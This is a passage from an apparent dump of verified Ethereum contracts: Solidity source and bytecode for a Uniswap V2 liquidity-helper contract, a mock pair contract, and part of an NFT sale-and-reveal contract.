amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // Dependency file: contracts/libraries2/UniswapV2Library.sol // pragma solidity >=0.5.0; library UniswapV2Library { // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } } // Dependency file: contracts/libraries2/Math.sol // pragma solidity >=0.5.0; // a library for performing various math operations library Math { // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // Dependency file: contracts/interfaces/IUniswapV2Router01.sol // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // Dependency file: contracts/interfaces/IUniswapV2Router02.sol // pragma solidity >=0.6.2; // import 'contracts/interfaces/IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Dependency file: contracts/interfaces/IWETH.sol // pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // Root file: contracts/UniswapV2AddLiquidityHelperV1.sol //SPDX-License-Identifier: MIT pragma solidity >=0.6.0; // import "@openzeppelin/contracts/access/Ownable.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; // To avoid SafeMath being // imported twice, we modified UniswapV2Library.sol. // import "contracts/libraries2/UniswapV2Library.sol"; // We modified the pragma. // import "contracts/libraries2/Math.sol"; // import "contracts/interfaces/IUniswapV2Router02.sol"; // import "contracts/interfaces/IWETH.sol"; /// @author Roger Wu (Twitter: @rogerwutw, GitHub: Roger-Wu) contract UniswapV2AddLiquidityHelperV1 is Ownable { using SafeMath for uint; using SafeERC20 for IERC20; address public immutable _uniswapV2FactoryAddress; // 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f address public immutable _uniswapV2Router02Address; // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D address public immutable _wethAddress; // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 constructor( address uniswapV2FactoryAddress, address uniswapV2Router02Address, address wethAddress ) public { _uniswapV2FactoryAddress = uniswapV2FactoryAddress; _uniswapV2Router02Address = uniswapV2Router02Address; _wethAddress = wethAddress; } // fallback() external payable {} receive() external payable {} // Add as more tokenA and tokenB as possible to a Uniswap pair. // The ratio between tokenA and tokenB can be any. // Approve enough amount of tokenA and tokenB to this contract before calling this function. // Uniswap pair tokenA-tokenB must exist. // gas cost: ~320000 function swapAndAddLiquidityTokenAndToken( address tokenAddressA, address tokenAddressB, uint112 amountA, uint112 amountB, uint112 minLiquidityOut, address to, uint64 deadline ) public returns(uint liquidity) { require(deadline >= block.timestamp, 'EXPIRED'); require(amountA > 0 || amountB > 0, "amounts can not be both 0"); // limited by Uniswap V2 // transfer user's tokens to this contract if (amountA > 0) { _receiveToken(tokenAddressA, amountA); } if (amountB > 0) { _receiveToken(tokenAddressB, amountB); } return _swapAndAddLiquidity( tokenAddressA, tokenAddressB, uint(amountA), uint(amountB), uint(minLiquidityOut), to ); } // Add as more ether and tokenB as possible to a Uniswap pair. // The ratio between ether and tokenB can be any. // Approve enough amount of tokenB to this contract before calling this function. // Uniswap pair WETH-tokenB must exist. // gas cost: ~320000 function swapAndAddLiquidityEthAndToken( address tokenAddressB, uint112 amountB, uint112 minLiquidityOut, address to, uint64 deadline ) public payable returns(uint liquidity) { require(deadline >= block.timestamp, 'EXPIRED'); uint amountA = msg.value; address tokenAddressA = _wethAddress; require(amountA > 0 || amountB > 0, "amounts can not be both 0"); // require(amountA < 2**112, "amount of ETH must be < 2**112"); // convert ETH to WETH IWETH(_wethAddress).deposit{value: amountA}(); // transfer user's tokenB to this contract if (amountB > 0) { _receiveToken(tokenAddressB, amountB); } return _swapAndAddLiquidity( tokenAddressA, tokenAddressB, amountA, uint(amountB), uint(minLiquidityOut), to ); } // add as more tokens as possible to a Uniswap pair function _swapAndAddLiquidity( address tokenAddressA, address tokenAddressB, uint amountA, uint amountB, uint minLiquidityOut, address to ) internal returns(uint liquidity) { (uint amountAToAdd, uint amountBToAdd) = _swapToSyncRatio( tokenAddressA, tokenAddressB, amountA, amountB ); _approveTokenToRouterIfNecessary(tokenAddressA, amountAToAdd); _approveTokenToRouterIfNecessary(tokenAddressB, amountBToAdd); (, , liquidity) = IUniswapV2Router02(_uniswapV2Router02Address).addLiquidity( tokenAddressA, // address tokenA, tokenAddressB, // address tokenB, amountAToAdd, // uint amountADesired, amountBToAdd, // uint amountBDesired, 1, // uint amountAMin, 1, // uint amountBMin, to, // address to, 2**256-1 // uint deadline ); require(liquidity >= minLiquidityOut, "minted liquidity not enough"); // There may be a small amount of tokens left in this contract. // Usually it doesn't worth it to spend more gas to transfer them out. // These tokens will be considered as a donation to the owner. // All ether and tokens directly sent to this contract will be considered as a donation to the contract owner. } // swap tokens to make newAmountA / newAmountB ~= newReserveA / newReserveB function _swapToSyncRatio( address tokenAddressA, address tokenAddressB, uint amountA, uint amountB ) internal returns( uint newAmountA, uint newAmountB ) { (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(_uniswapV2FactoryAddress, tokenAddressA, tokenAddressB); bool isSwitched = false; // swap A and B s.t. amountA * reserveB >= reserveA * amountB if (amountA * reserveB < reserveA * amountB) { (tokenAddressA, tokenAddressB) = (tokenAddressB, tokenAddressA); (reserveA, reserveB) = (reserveB, reserveA); (amountA, amountB) = (amountB, amountA); isSwitched = true; } uint amountAToSwap = calcAmountAToSwap(reserveA, reserveB, amountA, amountB); require(amountAToSwap <= amountA, "bugs in calcAmountAToSwap cause amountAToSwap > amountA"); if (amountAToSwap > 0) { address[] memory path = new address[](2); path[0] = tokenAddressA; path[1] = tokenAddressB; _approveTokenToRouterIfNecessary(tokenAddressA, amountAToSwap); uint[] memory swapOutAmounts = IUniswapV2Router02(_uniswapV2Router02Address).swapExactTokensForTokens( amountAToSwap, // uint amountIn, 1, // uint amountOutMin, path, // address[] calldata path, address(this), // address to, 2**256-1 // uint deadline ); amountA -= amountAToSwap; amountB += swapOutAmounts[swapOutAmounts.length - 1]; } return isSwitched ? (amountB, amountA) : (amountA, amountB); } function calcAmountAToSwap( uint reserveA, uint reserveB, uint amountA, uint amountB ) public pure returns( uint amountAToSwap ) { require(reserveA > 0 && reserveB > 0, "reserves can't be empty"); require(reserveA < 2**112 && reserveB < 2**112, "reserves must be < 2**112"); require(amountA < 2**112 && amountB < 2**112, "amounts must be < 2**112"); require(amountA * reserveB >= reserveA * amountB, "require amountA / amountB >= reserveA / reserveB"); // Let A = reserveA, B = reserveB, C = amountA, D = amountB // Let x = amountAToSwap, y = amountBSwapOut // We are solving: // (C - x) / (D + y) = (A + C) / (B + D) // (A + 0.997 * x) * (B - y) = A * B // Use WolframAlpha to solve: // solve (C - x) * (B + D) = (A + C) * (D + y), (1000 * A + 997 * x) * (B - y) = 1000 * A * B // we will get // x = (sqrt(A) sqrt(3988009 A B + 9 A D + 3988000 B C)) / (1994 sqrt(B + D)) - (1997 A) / 1994 // which is also // x = ((sqrt(A) sqrt(3988009 A B + 9 A D + 3988000 B C)) / sqrt(B + D) - (1997 A)) / 1994 // A (3988009 B + 9 D) + 3988000 B C // = reserveA * (3988009 * reserveB + 9 * amountB) + 3988000 * reserveB * amountA // < 2^112 * (2^22 * 2^112 + 2^4 * 2^112) + 2^22 * 2^112 * 2^112 // < 2^247 + 2^246 // < 2^248 // so we don't need SafeMath return (( Math.sqrt(reserveA) * Math.sqrt(reserveA * (3988009 * reserveB + 9 * amountB) + 3988000 * reserveB * amountA) / Math.sqrt(reserveB + amountB) ).sub(1997 * reserveA)) / 1994; } function _receiveToken(address tokenAddress, uint amount) internal { IERC20(tokenAddress).safeTransferFrom(msg.sender, address(this), amount); } function _approveTokenToRouterIfNecessary(address tokenAddress, uint amount) internal { uint currentAllowance = IERC20(tokenAddress).allowance(address(this), _uniswapV2Router02Address); if (currentAllowance < amount) { IERC20(tokenAddress).safeIncreaseAllowance(_uniswapV2Router02Address, 2**256 - 1 - currentAllowance); } } function emergencyWithdrawEther() public onlyOwner { (msg.sender).transfer(address(this).balance); } function emergencyWithdrawErc20(address tokenAddress) public onlyOwner { IERC20 token = IERC20(tokenAddress); token.safeTransfer(msg.sender, token.balanceOf(address(this))); } }
0x6080604052600436106100a05760003560e01c80638da5cb5b116100645780638da5cb5b146101b257806390aafc01146101c7578063b6b9d02e146101dc578063bac613691461020f578063dc92f8f014610285578063f2fde38b1461029a576100a7565b80630e34c3e7146100ac57806360019c3814610119578063715018a6146101555780638012901e1461016c578063899ec7251461019d576100a7565b366100a757005b600080fd5b610107600480360360a08110156100c257600080fd5b506001600160a01b0381358116916001600160701b03602082013581169260408301359091169160608101359091169067ffffffffffffffff608090910135166102cd565b60408051918252519081900360200190f35b34801561012557600080fd5b506101076004803603608081101561013c57600080fd5b5080359060208101359060408101359060600135610463565b34801561016157600080fd5b5061016a61063b565b005b34801561017857600080fd5b506101816106dd565b604080516001600160a01b039092168252519081900360200190f35b3480156101a957600080fd5b50610181610701565b3480156101be57600080fd5b50610181610725565b3480156101d357600080fd5b50610181610734565b3480156101e857600080fd5b5061016a600480360360208110156101ff57600080fd5b50356001600160a01b0316610758565b34801561021b57600080fd5b50610107600480360360e081101561023257600080fd5b506001600160a01b03813581169160208101358216916001600160701b036040830135811692606081013582169260808201359092169160a0820135169067ffffffffffffffff60c09091013516610846565b34801561029157600080fd5b5061016a61096c565b3480156102a657600080fd5b5061016a600480360360208110156102bd57600080fd5b50356001600160a01b03166109f3565b6000428267ffffffffffffffff161015610318576040805162461bcd60e51b81526020600482015260076024820152661156141254915160ca1b604482015290519081900360640190fd5b347f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28115158061035157506000876001600160701b0316115b61039e576040805162461bcd60e51b81526020600482015260196024820152780616d6f756e74732063616e206e6f7420626520626f7468203603c1b604482015290519081900360640190fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b1580156103f957600080fd5b505af115801561040d573d6000803e3d6000fd5b50505050506000876001600160701b031611156104375761043788886001600160701b0316610aeb565b6104578189848a6001600160701b03168a6001600160701b03168a610b06565b98975050505050505050565b600080851180156104745750600084115b6104c5576040805162461bcd60e51b815260206004820152601760248201527f72657365727665732063616e277420626520656d707479000000000000000000604482015290519081900360640190fd5b600160701b851080156104db5750600160701b84105b61052c576040805162461bcd60e51b815260206004820152601960248201527f7265736572766573206d757374206265203c20322a2a31313200000000000000604482015290519081900360640190fd5b600160701b831080156105425750600160701b82105b610593576040805162461bcd60e51b815260206004820152601860248201527f616d6f756e7473206d757374206265203c20322a2a3131320000000000000000604482015290519081900360640190fd5b81850284840210156105d65760405162461bcd60e51b81526004018080602001828103825260308152602001806118c06030913960400191505060405180910390fd5b6107ca610628866107cd026105ec858801610c62565b61060a8789623cda200202876009028a623cda2902018b0201610c62565b6106138a610c62565b028161061b57fe5b049063ffffffff610cb416565b8161062f57fe5b0490505b949350505050565b610643610cfd565b6000546001600160a01b03908116911614610693576040805162461bcd60e51b815260206004820181905260248201526000805160206118a0833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6000546001600160a01b031690565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b610760610cfd565b6000546001600160a01b039081169116146107b0576040805162461bcd60e51b815260206004820181905260248201526000805160206118a0833981519152604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905182916108429133916001600160a01b038516916370a0823191602480820192602092909190829003018186803b1580156107ff57600080fd5b505afa158015610813573d6000803e3d6000fd5b505050506040513d602081101561082957600080fd5b50516001600160a01b038416919063ffffffff610d0116565b5050565b6000428267ffffffffffffffff161015610891576040805162461bcd60e51b81526020600482015260076024820152661156141254915160ca1b604482015290519081900360640190fd5b6000866001600160701b031611806108b257506000856001600160701b0316115b6108ff576040805162461bcd60e51b81526020600482015260196024820152780616d6f756e74732063616e206e6f7420626520626f7468203603c1b604482015290519081900360640190fd5b6001600160701b038616156109215761092188876001600160701b0316610aeb565b6001600160701b038516156109435761094387866001600160701b0316610aeb565b6104578888886001600160701b0316886001600160701b0316886001600160701b031688610b06565b610974610cfd565b6000546001600160a01b039081169116146109c4576040805162461bcd60e51b815260206004820181905260248201526000805160206118a0833981519152604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156109f0573d6000803e3d6000fd5b50565b6109fb610cfd565b6000546001600160a01b03908116911614610a4b576040805162461bcd60e51b815260206004820181905260248201526000805160206118a0833981519152604482015290519081900360640190fd5b6001600160a01b038116610a905760405162461bcd60e51b81526004018080602001828103825260268152602001806118556026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6108426001600160a01b03831633308463ffffffff610d5816565b6000806000610b1789898989610db8565b91509150610b2589836110cc565b610b2f88826110cc565b6040805162e8e33760e81b81526001600160a01b038b811660048301528a81166024830152604482018590526064820184905260016084830181905260a483015286811660c483015260001960e483015291517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163e8e3370091610104808201926060929091908290030181600087803b158015610bd057600080fd5b505af1158015610be4573d6000803e3d6000fd5b505050506040513d6060811015610bfa57600080fd5b5060400151925084831015610c56576040805162461bcd60e51b815260206004820152601b60248201527f6d696e746564206c6971756964697479206e6f7420656e6f7567680000000000604482015290519081900360640190fd5b50509695505050505050565b60006003821115610ca5575080600160028204015b81811015610c9f57809150600281828581610c8e57fe5b040181610c9757fe5b049050610c77565b50610caf565b8115610caf575060015b919050565b6000610cf683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ae565b9392505050565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610d53908490611245565b505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610db2908590611245565b50505050565b600080600080610de97f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f89896112f6565b909250905060008583028783021015610e0757509596959394939060015b6000610e1584848a8a610463565b905087811115610e565760405162461bcd60e51b815260040180806020018281038252603781526020018061181e6037913960400191505060405180910390fd5b80156110ac5760408051600280825260608083018452926020830190803683370190505090508a81600081518110610e8a57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508981600181518110610eb857fe5b60200260200101906001600160a01b031690816001600160a01b031681525050610ee28b836110cc565b60607f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166338ed173984600185306000196040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03166001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015610f94578181015183820152602001610f7c565b505050509050019650505050505050600060405180830381600087803b158015610fbd57600080fd5b505af1158015610fd1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610ffa57600080fd5b810190808051604051939291908464010000000082111561101a57600080fd5b90830190602082018581111561102f57600080fd5b825186602082028301116401000000008211171561104c57600080fd5b82525081516020918201928201910280838360005b83811015611079578181015183820152602001611061565b505050509050016040525050509050828a0399508060018251038151811061109d57fe5b60200260200101518901985050505b816110b85787876110bb565b86885b955095505050505094509492505050565b60408051636eb1769f60e11b81523060048201526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81166024830152915160009285169163dd62ed3e916044808301926020929190829003018186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d602081101561116757600080fd5b5051905081811015610d5357610d536001600160a01b0384167f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d831963ffffffff6113bd16565b6000818484111561123d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112025781810151838201526020016111ea565b50505050905090810190601f16801561122f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b606061129a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114a39092919063ffffffff16565b805190915015610d53578080602001905160208110156112b957600080fd5b5051610d535760405162461bcd60e51b815260040180806020018281038252602a8152602001806118f0602a913960400191505060405180910390fd5b600080600061130585856114b2565b509050600080611316888888611590565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d606081101561137857600080fd5b5080516020909101516001600160701b0391821693501690506001600160a01b03878116908416146113ab5780826113ae565b81815b90999098509650505050505050565b60408051636eb1769f60e11b81523060048201526001600160a01b038481166024830152915160009261144e9285929188169163dd62ed3e91604480820192602092909190829003018186803b15801561141657600080fd5b505afa15801561142a573d6000803e3d6000fd5b505050506040513d602081101561144057600080fd5b50519063ffffffff61165016565b604080516001600160a01b038616602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052909150610db2908590611245565b606061063384846000856116aa565b600080826001600160a01b0316846001600160a01b031614156115065760405162461bcd60e51b815260040180806020018281038252602581526020018061187b6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610611526578284611529565b83835b90925090506001600160a01b038216611589576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600080600061159f85856114b2565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b600082820183811015610cf6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60606116b585611817565b611706576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106117455780518252601f199092019160209182019101611726565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146117a7576040519150601f19603f3d011682016040523d82523d6000602084013e6117ac565b606091505b509150915081156117c05791506106339050565b8051156117d05780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156112025781810151838201526020016111ea565b3b15159056fe6275677320696e2063616c63416d6f756e7441546f5377617020636175736520616d6f756e7441546f53776170203e20616d6f756e74414f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373556e697377617056324c6962726172793a204944454e544943414c5f4144445245535345534f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65727265717569726520616d6f756e7441202f20616d6f756e7442203e3d207265736572766541202f2072657365727665425361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220f0f7d889a90af28bc464a4c38876358d7a8d6dc34ea081f61832ab3717219d9d64736f6c63430006060033
[ 38 ]
0xF26220fEC80657eF72Eb5F9D5680DCAdc816e2A6
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.6; interface IERC20 { function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); } contract MockPair { function lpToken( address _token ) pure external returns (address) { return _token; } }
0x6080604052348015600f57600080fd5b506004361060285760003560e01c806376a562a414602d575b600080fd5b603b60383660046057565b90565b6040516001600160a01b03909116815260200160405180910390f35b600060208284031215606857600080fd5b81356001600160a01b0381168114607e57600080fd5b939250505056fea2646970667358221220b834d66d0906a7927bc0e8d25420da78eda866c429f75d298c8b94305cc3e55264736f6c63430008060033
[ 38 ]
0xF26222341Ee08f8e463f64f64dBEF550b0Cc552A
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "../interfaces/ITreasury.sol"; import "./adventurer/PublicSale.sol"; import "./adventurer/PreSale.sol"; import "./adventurer/Reveal.sol"; import "./adventurer/WhiteList.sol"; /** * @notice Adventurers Token */ contract AdventurersOfEther is PublicSale, WhiteList, PreSale, Reveal { ITreasury public treasury; constructor() {} function mintBatch(address[] memory _to, uint256[] memory _amount) external onlyOwner returns (uint oldIndex, uint newIndex) { return _mintBatch(_to, _amount); } function setTreasury(ITreasury _value) external onlyOwner { treasury = _value; } /** * @notice poll payment to treasury */ function transferToTreasury() external { require(address(treasury) != address(0), "zero treasury address"); treasury.primarySale{value: address(this).balance}(); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "hardhat/console.sol"; interface ITreasury { /** * @notice primary sale (invoked by nft contract on mint) */ function primarySale() external payable; /** * @notice secondary sale (invoked by ERC-2981) */ receive() external payable; } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "./ERC721.sol"; /** * @notice Public sale stage of Adventurers Token workflow */ abstract contract PublicSale is ERC721 { struct PublicSaleConfig { uint128 price; uint32 tokensPerTransaction; } PublicSaleConfig public publicSaleConfig = PublicSaleConfig({ price: 0.145 ether, tokensPerTransaction: 0 // 10 + extra 1 for < }); constructor() {} function mintPublic(uint _count) external payable returns (uint oldIndex, uint newIndex) { PublicSaleConfig memory _cfg = publicSaleConfig; require(_cfg.tokensPerTransaction > 0, "publicsale: disabled"); require(msg.value == _cfg.price * _count, "publicsale: payment amount"); require(_count < _cfg.tokensPerTransaction, "publicsale: invalid count"); return _mint(msg.sender, _count); } function setPublicSaleConfig(uint128 _price, uint32 _tokensPerTransaction) external onlyOwner { if (_tokensPerTransaction > 0) { _tokensPerTransaction += 1; } publicSaleConfig = PublicSaleConfig({ price: _price, tokensPerTransaction: _tokensPerTransaction }); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "./ERC721.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /** * @notice Presale (Crystal exchange) stage of Adventurers Token workflow */ abstract contract PreSale is ERC721 { using ERC165Checker for address; struct PresaleConfig { uint128 price; uint32 tokensPerCrystal; } /* state */ address public crystal; PresaleConfig public presaleConfig = PresaleConfig({ price: 0.095 ether, tokensPerCrystal: 4 // 3 + extra 1 for < }); constructor() {} function mintCrystalHolders(uint _count, uint _id) external payable returns (uint oldIndex, uint newIndex) { require(crystal != address(0), "presale: disabled"); PresaleConfig memory _cfg = presaleConfig; require(msg.value == _cfg.price * _count, "presale: invalid payment amount"); require(_count > 0 && _count < _cfg.tokensPerCrystal, "presale: invalid count"); IERC1155(crystal).safeTransferFrom(msg.sender, address(this), _id, 1, ""); return _mint(msg.sender, _count); } function setPresaleConfig(uint128 _price, uint32 _tokensPerCrystal) external onlyOwner { presaleConfig = PresaleConfig({ price: _price, tokensPerCrystal: _tokensPerCrystal + 1 }); } function setCrystal(address _value) external onlyOwner { require(_value == address(0) || _value.supportsInterface(type(IERC1155).interfaceId), "presale: 0 or valid IERC1155"); crystal = _value; if (_value != address(0)) { IERC1155(_value).setApprovalForAll(owner(), true); // we want to regift crystals } } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "./ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** * @notice EIP-721 reveal logic */ abstract contract Reveal is ERC721 { struct RevealGroup { uint64 startIndex; uint64 lastIndex; } /* state */ uint[] private groupHashes; RevealGroup[] public revealGroups; constructor() {} function revealHash(uint _tokenIndex) public view returns (uint) { for (uint _groupIndex = 0; _groupIndex < revealGroups.length; _groupIndex++) { RevealGroup memory _revealGroup = revealGroups[_groupIndex]; if (_tokenIndex > _revealGroup.startIndex && _tokenIndex < _revealGroup.lastIndex) { return groupHashes[_groupIndex]; } } return 0; } /** * @dev IERC721Metadata Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint _tokenId) external virtual override(IERC721Metadata) view returns (string memory) { require(exists(_tokenId), "erc721: nonexistent token"); uint _groupHash = revealHash(_tokenId); if (_groupHash > 0) { return string(abi.encodePacked( _groupURI(_groupHash), Strings.toString(_tokenId), ".json" )); } return ""; } function _groupURI(uint _groupId) internal pure returns (string memory) { string memory _uri = "ipfs://f01701220"; bytes32 value = bytes32(_groupId); bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(64); for (uint i = 0; i < 32; i++) { bytes1 ix1 = value[i] >> 4; str[i*2] = alphabet[uint8(ix1)]; bytes1 ix2 = value[i] & 0x0f; str[1+i*2] = alphabet[uint8(ix2)]; } return string(abi.encodePacked(_uri, string(str), "/")); } function setRevealHash(uint _groupIndex, uint _revealHash) external onlyOwner { groupHashes[_groupIndex] = _revealHash; } function reveal(uint16 _tokensCount, uint _revealHash) external onlyOwner { uint _groupIndex = revealGroups.length; RevealGroup memory _prev; if (_groupIndex > 0) { _prev = revealGroups[_groupIndex - 1]; } else { _prev = RevealGroup({ startIndex: 0, lastIndex: 1 }); } revealGroups.push(RevealGroup({ startIndex: _prev.lastIndex - 1, lastIndex: 